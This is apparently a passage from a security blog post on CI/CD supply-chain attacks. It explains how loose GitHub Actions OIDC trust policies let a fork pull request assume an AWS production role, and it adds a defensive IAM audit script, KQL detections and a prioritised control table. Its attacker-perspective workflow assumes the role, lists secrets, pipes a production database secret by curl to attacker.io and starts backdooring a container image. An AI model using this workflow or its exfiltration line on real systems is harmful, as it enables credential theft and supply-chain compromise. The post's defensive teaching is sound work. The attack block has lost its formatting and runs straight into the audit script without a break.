Pipeline definition files are the single highest-leverage target in your supply chain because they combine code execution capability with credential access in a single file that most teams don't treat as security-critical infrastructure. But even without touching the pipeline file, an attacker with OIDC federation configured can skip the credentials entirely and authenticate directly to your cloud as if they were your CI pipeline which is what Section 5 covers.


Section 5: OIDC Federation Abuse Moving from GitHub Actions to AWS Production Without Stealing a Single Credential

OIDC (OpenID Connect) federation between CI/CD platforms and cloud providers was introduced to solve the "secret zero" problem: instead of storing long-lived AWS access keys or GCP service account keys as CI secrets (which can be stolen and used indefinitely), the CI platform acts as an identity provider and issues short-lived JWT tokens that the cloud provider accepts in exchange for temporary cloud credentials. The design is sound. The implementation details in most organizations are not.

GitHub Actions issues OIDC tokens containing claims that describe the workflow that requested the token: the repository name, the branch, the workflow path, the environment, the actor. AWS IAM roles configured to trust GitHub's OIDC provider validate these claims in the sts:AssumeRoleWithWebIdentity call. The security of the entire system rests on how specifically those claims are constrained in the IAM role's trust policy. When the trust policy only validates sub (subject) by repository but not by branch or environment, any workflow in that repository including one running on a feature branch, triggered by an external contributor's PR, or injected via the techniques in Section 4 can assume the production IAM role. This is not a vulnerability in OIDC itself; it is the near-universal default misconfiguration.

The OIDC token GitHub issues is a signed JWT. If you decode it, the sub claim looks like this for a workflow on main: repo:myorg/myrepo:ref:refs/heads/main. For a workflow triggered by a PR from a fork: repo:myorg/myrepo:pull_request. For a specific environment: repo:myorg/myrepo:environment:production. A trust policy that only matches repo:myorg/myrepo:* accepts tokens from all of these contexts including a fork's PR-triggered workflow with no internal access but full ability to assume your production IAM role.

Attack Flow

Attacker Perspective: OIDC Token Abuse

# Malicious GitHub Actions workflow  exploits misconfigured OIDC trust policy
# Attacker submits PR to any branch of myorg/myrepo
# No secrets needed OIDC issues a token automatically

name: CI Checks

on:
pull_request: # Triggered by PR attacker controls the fork

permissions:
id-token: write # This permission is required to request OIDC token
contents: read

jobs:
exploit:
runs-on: ubuntu-latest
steps:
- name: Assume AWS production role via OIDC
uses: aws-actions/configure-aws-credentials@v4
with:
# This is the target organization's production deployment role ARN
# Obtainable from: public Terraform configs, job postings, CloudFormation exports
role-to-assume: arn:aws:iam::123456789012:role/github-actions-deploy
aws-region: us-east-1
# The action handles OIDC token request and AssumeRoleWithWebIdentity
# If the trust policy uses StringLike with a wildcard, this succeeds
# even from a forked PR

- name: Enumerate what we have access to
run: |
# Verify the assumed role identity
aws sts get-caller-identity

# List all S3 buckets accessible to this role
aws s3 ls

# Check ECR repositories (production container registry)
aws ecr describe-repositories --region us-east-1

# List secrets in Secrets Manager
aws secretsmanager list-secrets --region us-east-1

# Exfiltrate a production secret directly
aws secretsmanager get-secret-value \
--secret-id prod/database/credentials \
--region us-east-1 | \
curl -s -X POST https://attacker.io/collect --data-binary @-

# Push a backdoored container image to production ECR
# First, get ECR login token using the assumed role
aws ecr get-login-password --region us-east-1 | \
docker login --username AWS --password-stdin 123456789012.dkr.ecr.us-east-1.amazonaws.com

# Pull the legitimate latest production image
docker pull 123456789012.dkr.ecr.us-east-1.amazonaws.com/production-api:latest

# Add backdoor layer and push back as "latest"
# (This persists even after the OIDC token expires)
# Python script to audit OIDC trust policies across all IAM roles in an account
# Run this as a defensive audit identifies overly permissive OIDC configurations
# Requires: AWS credentials with iam:GetRole and iam:ListRoles

import boto3
import json
import urllib.parse

iam = boto3.client('iam')

def audit_oidc_trust_policies():
"""
Enumerate all IAM roles and flag those with overly permissive
GitHub Actions OIDC trust conditions.
"""
paginator = iam.get_paginator('list_roles')

findings = []

for page in paginator.paginate():
for role in page['Roles']:
trust_policy = json.loads(
urllib.parse.unquote(role['AssumeRolePolicyDocument'])
if isinstance(role['AssumeRolePolicyDocument'], str)
else json.dumps(role['AssumeRolePolicyDocument'])
)

for statement in trust_policy.get('Statement', []):
principal = statement.get('Principal', {})
federated = principal.get('Federated', '')

# Check if this role trusts GitHub's OIDC provider
if 'token.actions.githubusercontent.com' in str(federated):
conditions = statement.get('Condition', {})
sub_condition = (
conditions.get('StringEquals', {}).get(
'token.actions.githubusercontent.com:sub', ''
) or
conditions.get('StringLike', {}).get(
'token.actions.githubusercontent.com:sub', ''
)
)

# Detect overly permissive sub conditions
sub_str = str(sub_condition)

is_vulnerable = False
vulnerability_reason = ""

# Wildcard that matches pull_request context
if ':*' in sub_str and ':pull_request' not in sub_str:
is_vulnerable = True
vulnerability_reason = "Wildcard sub allows pull_request context"

# Missing sub condition entirely
if not sub_condition:
is_vulnerable = True
vulnerability_reason = "No sub condition any GitHub token accepted"

# Sub only scoped to repo, not branch or environment
if 'refs/heads/' not in sub_str and 'environment:' not in sub_str:
is_vulnerable = True
vulnerability_reason = "Sub not scoped to branch or environment"

if is_vulnerable:
findings.append({
'RoleName': role['RoleName'],
'RoleArn': role['Arn'],
'SubCondition': sub_condition,
'Vulnerability': vulnerability_reason
})

return findings

findings = audit_oidc_trust_policies()
for f in findings:
print(f"⚠️ VULNERABLE ROLE: {f['RoleName']}")
print(f" ARN: {f['RoleArn']}")
print(f" Sub condition: {f['SubCondition']}")
print(f" Issue: {f['Vulnerability']}")
print()

Defender Perspective: CloudTrail Detection for OIDC Abuse

// KQL  Detect AssumeRoleWithWebIdentity calls from unexpected GitHub contexts
// Source: AWS CloudTrail logs forwarded to Sentinel

AWSCloudTrail
| where TimeGenerated > ago(1d)
| where EventName == "AssumeRoleWithWebIdentity"
// Parse the web identity token subject from the request parameters
| extend RequestParams = parse_json(RequestParameters)
| extend WebIdentityToken = tostring(RequestParams.webIdentityToken)
// The JWT is base64 encoded decode the payload to get claims
// In practice, AWS logs the decoded sub claim in the request
| extend SubClaim = tostring(RequestParams.providerId)
| extend RoleArn = tostring(RequestParams.roleArn)
// Flag assumptions from pull_request context (should NEVER assume production roles)
| where SubClaim contains ":pull_request"
or SubClaim contains "pull_request"
// Also flag assumptions from unexpected branches
| where SubClaim !contains "refs/heads/main"
and SubClaim !contains "refs/heads/master"
and SubClaim !contains "environment:production"
and SubClaim !contains "environment:staging"
// Filter to your production IAM roles only
| where RoleArn contains "deploy" or RoleArn contains "prod" or RoleArn contains "release"
| extend AssumedRoleUser = parse_json(ResponseElements).assumedRoleUser.arn
| project TimeGenerated, RoleArn, SubClaim, AssumedRoleUser,
SourceIPAddress, UserAgent, ErrorCode
| order by TimeGenerated desc
// KQL  Detect anomalous API calls made with CI/CD assumed role credentials
// Baseline: what does your deploy role normally call?
// Alert: anything outside that baseline

let NormalDeployAPIs = datatable(EventName:string) [
"ecr:GetAuthorizationToken",
"ecr:BatchCheckLayerAvailability",
"ecr:PutImage",
"s3:PutObject", // Deploy artifacts
"s3:GetObject", // Read config
"ecs:UpdateService", // Update ECS task
"ecs:DescribeServices"
];

AWSCloudTrail
| where TimeGenerated > ago(1d)
// Filter to API calls made by your CI/CD assumed role
| where UserIdentity contains "github-actions-deploy"
or UserIdentity contains "ci-deploy-role"
// Alert on anything NOT in the normal baseline
| where EventName !in (NormalDeployAPIs)
// Exclude describe/list calls (read-only recon is still suspicious but lower priority)
// Remove this filter to catch reconnaissance phase
| where EventName !startswith "Describe"
and EventName !startswith "List"
and EventName !startswith "Get"
| extend CallerIdentity = parse_json(UserIdentity)
| project TimeGenerated, EventName, SourceIPAddress,
tostring(CallerIdentity.sessionContext.sessionIssuer.arn),
tostring(RequestParameters), ErrorCode
| order by TimeGenerated desc

OIDC Trust Policy Security Comparison: Weak vs Strong Configurations

Configurationsub Condition ExampleAccepts Fork PR?Accepts Feature Branch?Recommended
No sub condition(missing)YesYesNever allows any GitHub token
Repo wildcardrepo:myorg/myrepo:*Yes ⚠️Yes ⚠️No wildcard too broad
Repo + ref wildcardrepo:myorg/myrepo:ref:refs/heads/*NoYes ⚠️No any branch can deploy
Repo + main branchrepo:myorg/myrepo:ref:refs/heads/mainNoNoYes but no environment isolation
Repo + named environmentrepo:myorg/myrepo:environment:productionNoNoYes best practice
Repo + environment + branchBoth conditions combined with StringEqualsNoNoIdeal defense in depth

The OIDC token is valid for 60 minutes after issuance. Within that window, every API call the assumed role can make is indistinguishable from a legitimate CI deployment. The only forensic artifact is the AssumeRoleWithWebIdentity CloudTrail event with the sub claim which most teams never alert on because they don't know to look for the :pull_request sub claim pattern.


CISO Action What to Fix, In What Order, and What It Actually Costs

The five techniques in this post form a chain, not a list. An attacker starts at the cheapest entry point a forked PR against a pull_request_target workflow gets code execution on a runner, from there reaches cloud credentials via IMDS or OIDC, and uses those credentials to push a backdoored artifact to your container registry that survives long after the initial access is revoked. Every link in that chain has a detection opportunity and a control that breaks it. Most of the controls cost less than the average sprint's worth of engineering time.

Detection Architecture

Prioritized Control Table

ControlImpactEffortImplementation Pointer
Stream GitHub Audit Log to SIEMCritical blind without itLow (1–2 days)GitHub Enterprise: Settings → Audit log → Log streaming → Splunk/Sentinel connector. Without this, zero visibility into workflow triggers, branch protection bypasses, or secret access.
Restrict OIDC trust policies to named environmentCriticalLow (hours per role)In IAM trust policy: "StringEquals": {"token.actions.githubusercontent.com:sub": "repo:myorg/myrepo:environment:production"}. Run the audit script from Section 5 first to identify all affected roles.
Block pull_request_target + fork checkout patternCriticalLow (hours)Add Semgrep rule to pre-commit and CI: rules: - id: dangerous-pull-request-target. Alert + block any new workflow using this pattern. Review all existing workflows immediately.
Require review for .github/workflows/ changesHighLowGitHub: Branch Protection → "Require pull request reviews" → add "/.github/workflows/" as a required path. Also: create a CODEOWNERS entry for .github/workflows/ pointing to security team.
Enforce IMDSv2 on all runner hostsHighLow–MediumAWS: aws ec2 modify-instance-metadata-options --instance-id <id> --http-tokens required. For new instances: set HttpTokensRequired in launch templates. Eliminates SSRF-based IMDS exfil from runner processes.
Isolate internal package namespaces in private registryHighMedium (days)Artifactory: Create a "virtual repo" that serves internal packages only and does NOT proxy to public registry. Separate virtual repo for public packages. Configure all builds to use internal virtual repo. Claim all internal package names on public registries as empty stubs.
Pin all production dependencies by hashHighMedium–Highnpm: npm shrinkwrap then commit package-lock.json. pip: pip-compile --generate-hashes. Verify hashes in CI: pip install --require-hashes -r requirements.txt. Adds friction to CI updates but eliminates version-based confusion attacks.
Deploy self-hosted runners as ephemeral podsMedium–HighHigh (weeks)Replace persistent VM runners with Kubernetes-based ephemeral runners (Actions Runner Controller or GitLab ephemeral runners). Each job gets a fresh pod; workspace does not persist. Eliminates runner host persistence entirely.
Alert on deploy role API calls outside baselineMediumMediumRun Section 5's baseline KQL against 30 days of CloudTrail to establish the normal API call set for your deploy role. Parameterize the NormalDeployAPIs table. Set alert threshold at any call outside that set with P0 severity.
Sign and verify all build artifactsMediumHighSigstore/Cosign: cosign sign --key cosign.key image:tag. Verify at deploy time: cosign verify --key cosign.pub image:tag. Catch backdoored images pushed to registry by attacker with stolen ECR credentials.

Your CI/CD pipeline is not a DevOps concern that security teams audit annually. It is a privileged production system with more access to your cloud environment than most of your developers have, and it runs code that is never reviewed by your EDR, your WAF, or your DLP. The attack surface described here forked PRs, persistent runners, public package registries, pipeline YAML files, OIDC trust policies is live in almost every organization that has adopted a modern CI/CD stack, and it is being actively exploited by groups ranging from opportunistic cryptocurrency miners to APTs targeting the software supply chain. None of the controls in the table above require buying a new product. Every detection query here can run in Sentinel, Splunk, or Elastic against logs you likely already have or can enable for free. The question is not whether you have been targeted this way; it is whether you would know.


Tags: supply-chain, ci-cd, github-actions, jenkins, detection-engineering, cloud-security, oidc, dependency-confusion, soc-operations, threat-hunting

Audience: SOC Analysts · Detection Engineers · CISOs

MITRE ATT&CK: T1195.002 (Compromise Software Supply Chain), T1552.001 (Credentials in Files), T1078.004 (Cloud Accounts), T1059 (Command and Scripting Interpreter), T1611 (Escape to Host), T1528 (Steal Application Access Token)